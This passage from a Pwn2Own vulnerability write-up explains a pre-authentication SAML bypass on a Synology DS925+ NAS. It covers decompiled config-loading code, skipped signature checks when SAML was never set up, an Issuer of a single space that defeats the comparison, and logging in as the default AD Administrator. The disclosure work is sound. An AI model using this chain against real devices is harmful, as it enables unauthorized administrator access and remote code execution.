data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:64,&quot;width&quot;:446,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PV7M!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 424w, https://substackcdn.com/image/fetch/$s_!PV7M!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 848w, https://substackcdn.com/image/fetch/$s_!PV7M!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 1272w, https://substackcdn.com/image/fetch/$s_!PV7M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><code>readSAMLConfig</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;92872a70-2c9b-47ba-9865-e01572cc3db2&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">bool SSOSAMLClient::readSAMLConfig(Json::Value&amp; out)
{
    static const char* kConfPath = "/usr/syno/etc/ssoclient/saml.conf";
    
    RunAs guard(0, 0, "sso_saml.cpp", 494);
    if (SLIBCFileExist(kConfPath)) {
        if (SLIBCFileExist(kConfPath) == 1) {
            if (!out.fromFile(kConfPath)) {
                syslog(LOG_ERR, "%s:%d failed to load json file", "sso_saml.cpp", 506);
                throw std::runtime_error("failed to load json file");
            }
        }
        if (!out.isMember("saml_response_signature"))
            out["saml_response_signature"] = "response";
        return true;
    }

    out["sso_saml_enable"]              = "";
    out["saml_name"]                    = "SAML";
    out["saml_idp_entity_id"]           = "";
    out["saml_idp_signin_url"]          = "";
    out["saml_acs_url"]                 = "";
    out["saml_idp_certificate"]         = "";
    out["saml_valid_date"]              = "";
    out["saml_idp_certificate_expired"] = "";
    return false;
}
</code></pre></div><p>When <code>/usr/syno/etc/ssoclient/saml.conf</code> doesn&#8217;t exist, verifyMode is <code>""</code>, which lets us bypass signature verification. This file is simply absent whenever SAML SSO has never been enabled on the system. Tracing execution from <code>samlAuth</code> through the <code>SSOSAMLClient</code> constructor to <code>verifySamlResponse</code>, there&#8217;s no check for whether SAML SSO is actually enabled.</p><p>From here, we just need to craft a valid SAML Response. Most elements checked in <code>verifySamlResponse</code> are only superficially validated, so they&#8217;re easy to satisfy. The one exception is the <code>Issuer</code>, checked at step 8 (with a similar condition in step 10b for each Assertion), which must be non-empty.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6eTM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6eTM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 424w, https://substackcdn.com/image/fetch/$s_!6eTM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 848w, https://substackcdn.com/image/fetch/$s_!6eTM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 1272w, https://substackcdn.com/image/fetch/$s_!6eTM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6eTM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png" width="1286" height="22" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:22,&quot;width&quot;:1286,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6eTM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 424w, https://substackcdn.com/image/fetch/$s_!6eTM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 848w, https://substackcdn.com/image/fetch/$s_!6eTM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 1272w, https://substackcdn.com/image/fetch/$s_!6eTM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa02dd54c-ce83-4e48-822f-a83dfa4ab5b6_1286x22.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><span>After that, the </span><code>Issuer</code><span> must pass a comparison against the </span><code>Issuer</code><span> retrieved from </span><code>SSOSAMLClient</code><span>. Since the Issuer from </span><code>SSOSAMLClient</code><span> will have a value of </span><code>"",</code><span> the </span><code>Issuer</code><span> value we provide in the SAML Response must also evaluate to </span><code>""</code><span>. An </span><code>Issuer</code><span> that is simultaneously empty and not empty cannot exist. Fortunately for us, however, the </span><code>Issuer</code><span> is trimmed before this comparison takes place:</span></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!B3rU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!B3rU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 424w, https://substackcdn.com/image/fetch/$s_!B3rU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 848w, https://substackcdn.com/image/fetch/$s_!B3rU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 1272w, https://substackcdn.com/image/fetch/$s_!B3rU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!B3rU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png" width="932" height="442" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:442,&quot;width&quot;:932,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!B3rU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 424w, https://substackcdn.com/image/fetch/$s_!B3rU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 848w, https://substackcdn.com/image/fetch/$s_!B3rU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 1272w, https://substackcdn.com/image/fetch/$s_!B3rU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62eb54b-28c9-4294-8687-8001fa0acdd3_932x442.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><span>In this case, an </span><code>Issuer</code><span> value containing just a </span><code>&lt;space&gt;</code><span> will satisfy the condition, and it will subsequently become </span><code>""</code><span> after passing through the </span><code>trim()</code><span> function.</span></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oeu_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oeu_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 424w, https://substackcdn.com/image/fetch/$s_!oeu_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 848w, https://substackcdn.com/image/fetch/$s_!oeu_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 1272w, https://substackcdn.com/image/fetch/$s_!oeu_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oeu_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png" width="1052" height="176" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:176,&quot;width&quot;:1052,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!oeu_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 424w, https://substackcdn.com/image/fetch/$s_!oeu_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 848w, https://substackcdn.com/image/fetch/$s_!oeu_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 1272w, https://substackcdn.com/image/fetch/$s_!oeu_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffcee450e-6797-4aa1-9fb6-2a64b212b626_1052x176.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><span>At this point, it is just a standard string comparison in C++. Since both values are now </span><code>""</code><span>, we naturally pass this check. Even though we have now satisfied all the requirements, the login will still fail:</span></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hu1h!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hu1h!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 424w, https://substackcdn.com/image/fetch/$s_!hu1h!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 848w, https://substackcdn.com/image/fetch/$s_!hu1h!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 1272w, https://substackcdn.com/image/fetch/$s_!hu1h!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hu1h!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png" width="938" height="22" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/031de1a8-067c-46c9-a183-c14d72555838_938x22.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:22,&quot;width&quot;:938,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hu1h!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 424w, https://substackcdn.com/image/fetch/$s_!hu1h!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 848w, https://substackcdn.com/image/fetch/$s_!hu1h!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 1272w, https://substackcdn.com/image/fetch/$s_!hu1h!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F031de1a8-067c-46c9-a183-c14d72555838_938x22.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This is due to the check at step [3] in <code>samlAuth</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;20423ace-fb7a-4cab-88de-3c312e74bb4b&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">bool qualified = std::strchr(samlUser.c_str(), '\\')   
&#9;&#9;&#9;  || std::strchr(samlUser.c_str(), '@');   

if (!qualified &amp;&amp; !client.m_allowLocalUser) {     // [3]     
&#9;syslog(LOG_ERR, "%s:%d user is local:  %s, %s",
&#9;&#9;   "saml_auth.cpp", 40, samlUser.c_str(), realName);  
&#9;return 2;
}</code></pre></div><p><span>Our </span><code>saml_match_local_user</code><span> in </span><code>SSOSAMLClient</code><span> is currently set to </span><code>false</code><span>, meaning we can only log into LDAP or AD (Active Directory) accounts at this point. According to ZDI&#8217;s requirements, providing a pre-known username is considered unrealistic and therefore unacceptable. However, ZDI does accept the fact that the default AD admin account follows the format </span><code>&lt;NetBIOS&gt;/Administrator</code><span>. The NetBIOS name can be easily obtained through enumeration on Synology NAS. Once logged in successfully as an administrator, there are multiple ways to achieve RCE using various admin-privileged features.</span></p><div class="callout-block" data-callout="true"><h3>Summary</h3><p><br>The whole bug is a chain of small assumptions that happen to line up perfectly. Here&#8217;s what it looks like end to end. The SAML endpoint is live even when SAML SSO has never been configured. Nothing in <code>samlAuth</code>, the <code>SSOSAMLClient</code> constructor, or <code>verifySamlResponse</code> checks whether the feature is actually enabled.</p><p>A missing config silently degrades to insecure defaults. If <code>/usr/syno/etc/ssoclient/saml.conf</code> doesn&#8217;t exist, <code>readSAMLConfig</code> returns false and the constructor exits early, leaving all fields at their zero values: empty strings and <code>false</code>. That means <code>verifyMode</code> is <code>""</code> and <code>saml_match_local_user</code> is <code>false</code>.</p><p>An unexpected <code>verifyMode</code> value disables signature verification entirely. The check only runs when <code>verifyMode</code> is one of <code>"response"</code>, <code>"assertion"</code>, or <code>"both"</code>. The developer didn&#8217;t handle the fallthrough, so <code>verifyMode == ""</code> skips signature checking altogether. You can forge a SAML Response with no valid signature.</p><p>The one strict check gets defeated by normalization. The <code>Issuer</code> must be non-empty, but must also equal the client&#8217;s Issuer, which is <code>""</code>. That looks like a contradiction &#8211; until you see that <code>Issuer</code> is <code>trim()</code>-ed before the comparison. An <code>Issuer</code> of a single space passes the non-empty check and then collapses to <code>""</code>, satisfying both conditions at once.</p><p>The last gate narrows the target but doesn&#8217;t close it. With <code>saml_match_local_user</code> set to <code>false</code>, local accounts are rejected and only usernames containing <code>\</code> or <code>@</code> are allowed (LDAP/AD users). The default AD admin <code>&lt;NetBIOS&gt;\Administrator</code> fits, and the NetBIOS name is trivially enumerable on a Synology NAS.</p><p>On any Synology DS925+ system that has never enabled SAML SSO (the default) and uses AD or LDAP, an unauthenticated attacker can forge an unsigned SAML Response, skip authentication entirely, and log in as domain administrator. RCE follows from any admin-privileged feature.</p><p>The root cause isn&#8217;t a single line. A disabled feature is still reachable. A config load failure defaults to insecure values instead of refusing to proceed. An unrecognized verify mode is treated as &#8220;skip verification&#8221; rather than &#8220;deny.&#8221; Each assumption is small. Together they&#8217;re a full pre-auth bypass.</p><p></p></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SDOE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SDOE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 424w, https://substackcdn.com/image/fetch/$s_!SDOE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 848w, https://substackcdn.com/image/fetch/$s_!SDOE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 1272w, https://substackcdn.com/image/fetch/$s_!SDOE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SDOE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png" width="1194" height="872" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:872,&quot;width&quot;:1194,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SDOE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 424w, https://substackcdn.com/image/fetch/$s_!SDOE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 848w, https://substackcdn.com/image/fetch/$s_!SDOE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 1272w, https://substackcdn.com/image/fetch/$s_!SDOE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4649027b-3821-4fdd-86a1-e5ee9f722462_1194x872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1><strong>Conclusion</strong></h1><p>Although it&#8217;s a bit of a pity that I found the bug too late to get the visa sorted in time to be onsite and experience the competition atmosphere in person, this was still a successful Pwn2Own participation for me. A shoutout to @ngocquy0307 for collaborating and providing a lot of support during the bug-hunting process, to @tuo4n8 for supporting me throughout the competition, to @lemauanhphong for helping me bring the bug to the contest, and last but not least, a huge thanks to Verichains for supporting me in participating in the competition.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" 